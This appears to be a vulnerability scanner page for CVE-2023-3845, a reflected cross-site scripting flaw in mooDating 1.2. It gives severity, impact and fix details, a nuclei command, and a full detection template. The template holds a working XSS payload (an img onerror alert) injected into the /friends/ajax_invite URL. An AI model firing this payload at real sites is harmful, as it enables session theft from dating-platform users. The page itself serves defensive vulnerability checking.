MooDating 1.2 - Cross-Site Scripting

mediumseverity

6.1CVSS score

6%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

A vulnerability was found in mooSocial mooDating 1.2. It has been rated as problematic. Affected by this issue is some unknown functionality of the file /friends/ajax_invite of the component URL Handler. The manipulation leads to cross site scripting. The attack may be launched remotely.

Impact

Unauthenticated attackers can inject malicious JavaScript through URL parameters in the ajax_invite endpoint to steal dating platform user session cookies and access personal profile information.

Fix

Update mooSocial mooDating to a version newer than 1.2 that properly sanitizes and encodes URL parameters in the friends/ajax_invite component.

How to confirm it

Send: GET {{BaseURL}}/friends/ajax_invitej7hrg%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3ef26v4?mode=model
Positive when: status_code == 404 and contains(content_type, "text/html") and contains_all(body, "><img src=a onerror=alert(document.domain)>", "mooDating")

Run it with nuclei: nuclei -id CVE-2023-3845 -u <target>

The full check

id: CVE-2023-3845

info:
  name: MooDating 1.2 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A vulnerability was found in mooSocial mooDating 1.2. It has been rated as problematic. Affected by this issue is some unknown functionality of the file /friends/ajax_invite of the component URL Handler. The manipulation leads to cross site scripting. The attack may be launched remotely.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through URL parameters in the ajax_invite endpoint to steal dating platform user session cookies and access personal profile information.
  remediation: |
    Update mooSocial mooDating to a version newer than 1.2 that properly sanitizes and encodes URL parameters in the friends/ajax_invite component.
  reference:
    - https://packetstormsecurity.com/files/173691/mooDating-1.2-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3845
    - https://vuldb.com/?ctiid.235196
    - https://vuldb.com/?id.235196
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-3845
    cwe-id: CWE-79
    epss-score: 0.05955
    epss-percentile: 0.93341
    cpe: cpe:2.3:a:moosocial:moodating:1.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: moosocial
    product: moodating
  tags: cve2023,cve,packetstorm,xss,moodating,moosocial,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/friends/ajax_invitej7hrg%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3ef26v4?mode=model"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 404'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "><img src=a onerror=alert(document.domain)>", "mooDating")'
        condition: and

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